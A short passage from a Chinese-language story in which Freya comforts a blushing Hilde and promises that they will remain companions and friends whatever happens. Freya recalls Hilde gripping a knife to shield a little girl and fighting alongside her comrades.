她想说,不要再夸了,但对着那双怎么看都温柔平和的蓝眼睛说不出一点反驳之语,遂只能顶着发红的脸回视芙蕾雅。 “所以,不要有心理负担哦。”芙蕾雅松开手,垂下眼看她,眉眼弯弯,“无论发生什么事,我们也依旧是同伴、朋友。” “无论发生什么事,你在我心里永远都是紧紧攥着刀将小女孩护在身后、跟同伴一起与那些坏东西厮杀的希尔德。”